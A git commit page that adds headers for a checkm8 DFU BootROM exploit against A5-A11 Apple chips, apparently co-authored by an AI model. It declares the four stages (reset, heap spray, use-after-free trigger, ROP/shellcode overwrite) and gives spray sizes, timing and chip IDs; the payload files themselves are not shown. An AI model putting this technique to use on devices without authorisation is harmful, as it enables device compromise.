feat(exploit): Add checkm8 DFU exploit engine with payload headers

Four-stage checkm8 exploit (reset, spray, setup, patch) targeting
A5-A11 BootROM vulnerability. Includes ROP chain headers for A10/A11
and shellcode placeholder. Verify via PWND: serial marker.

Files created:
- include/exploit/exploit.h
- include/exploit/checkm8.h
- include/exploit/checkm8_internal.h
- src/exploit/checkm8.c
- src/exploit/checkm8_stages.c
- src/exploit/payload/rop_a10.h
- src/exploit/payload/rop_a11.h
- src/exploit/payload/shellcode.h
- src/exploit/payload/ramdisk.h

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
tr4m0ryp 2026-04-05 02:16:52 +02:00
parent 82bec20452
commit 17fca828a5
9 changed files with 911 additions and 0 deletions

53
include/exploit/checkm8.h Normal file
View file

@ -0,0 +1,53 @@
/* checkm8.h -- checkm8 DFU exploit for A5-A11 BootROM */
#ifndef CHECKM8_H
#define CHECKM8_H
#include "device/device.h"
#include "exploit/exploit.h"
/*
* checkm8_exploit -- Top-level entry point. Sets up context, runs all four
* stages (reset, spray, setup, patch), verifies pwned state, cleans up.
* Returns 0 on success, -1 on failure.
*/
int checkm8_exploit(device_info_t *dev);
/*
* Individual exploit stages. Each advances ctx->phase on success.
* All return 0 on success, -1 on failure.
*/
/*
* Stage 1: Reset DFU state machine to a known clean state.
* Sends DFU_DNLOAD with empty data, then DFU_ABORT.
*/
int checkm8_stage_reset(exploit_ctx_t *ctx);
/*
* Stage 2: Heap spray. Send carefully sized USB transfers to create
* a predictable heap layout in the DFU SRAM region.
*/
int checkm8_stage_spray(exploit_ctx_t *ctx);
/*
* Stage 3: Trigger use-after-free. Abort a DFU transfer mid-stream
* to free the io_buffer while the pointer remains live.
*/
int checkm8_stage_setup(exploit_ctx_t *ctx);
/*
* Stage 4: Overwrite freed buffer with ROP chain and shellcode.
* After this stage the BootROM executes our payload and the serial
* string should contain "PWND:[checkm8]".
*/
int checkm8_stage_patch(exploit_ctx_t *ctx);
/*
* checkm8_verify_pwned -- Re-read the USB serial string descriptor and
* check whether it contains "PWND:".
* Returns 1 if pwned, 0 if not pwned, -1 on read error.
*/
int checkm8_verify_pwned(device_info_t *dev);
#endif /* CHECKM8_H */

View file

@ -0,0 +1,33 @@
/* checkm8_internal.h -- Shared constants and helpers for checkm8 split files */
#ifndef CHECKM8_INTERNAL_H
#define CHECKM8_INTERNAL_H
#include "exploit/exploit.h"
/* Heap spray parameters (from gaster analysis) */
#define SPRAY_COUNT 26 /* Number of spray transfers */
#define SPRAY_SIZE 0x800 /* Size of each spray chunk (2 KiB) */
/* Stall timeout for mid-stream abort (microseconds) */
#define STALL_USEC 100000 /* 100 ms */
/* Maximum attempts for the full exploit sequence */
#define MAX_EXPLOIT_TRIES 3
/* Short delay between exploit stages (microseconds) */
#define STAGE_DELAY_USEC 10000 /* 10 ms */
/* CPID values for ROP chain selection */
#define CPID_A10 0x8010
#define CPID_A10X 0x8011
#define CPID_A11 0x8015
/*
* assemble_payload -- Build the exploit payload (ROP chain + shellcode)
* for the given context's chip. Allocates ctx->payload_buf.
* Returns 0 on success, -1 on failure.
*/
int assemble_payload(exploit_ctx_t *ctx);
#endif /* CHECKM8_INTERNAL_H */

53
include/exploit/exploit.h Normal file
View file

@ -0,0 +1,53 @@
/* exploit.h -- Common exploit types and lifecycle API */
#ifndef EXPLOIT_H
#define EXPLOIT_H
#include <stddef.h>
#include <stdint.h>
#include "device/device.h"
#include "device/chip_db.h"
/* Exploit phase constants */
#define EXPLOIT_PHASE_INIT 0
#define EXPLOIT_PHASE_RESET 1
#define EXPLOIT_PHASE_SPRAY 2
#define EXPLOIT_PHASE_SETUP 3
#define EXPLOIT_PHASE_PATCH 4
#define EXPLOIT_PHASE_DONE 5
/*
* exploit_ctx_t -- shared context for any DFU exploit.
*
* Holds the device, chip info, current exploit phase, and the assembled
* payload buffer (ROP chain + shellcode concatenated).
*/
typedef struct {
device_info_t *dev;
const chip_info_t *chip;
int phase; /* EXPLOIT_PHASE_* */
uint8_t *payload_buf;
size_t payload_len;
} exploit_ctx_t;
/*
* exploit_init -- Populate ctx from device info. Looks up chip_info via
* cpid, verifies checkm8 vulnerability, allocates payload buffer.
* Returns 0 on success, -1 on failure.
*/
int exploit_init(exploit_ctx_t *ctx, device_info_t *dev);
/*
* exploit_deliver -- Execute the exploit stages (reset, spray, setup, patch).
* The specific exploit is selected based on chip type (currently only checkm8).
* Returns 0 on success, -1 on failure.
*/
int exploit_deliver(exploit_ctx_t *ctx);
/*
* exploit_cleanup -- Free payload buffer and zero the context.
*/
void exploit_cleanup(exploit_ctx_t *ctx);
#endif /* EXPLOIT_H */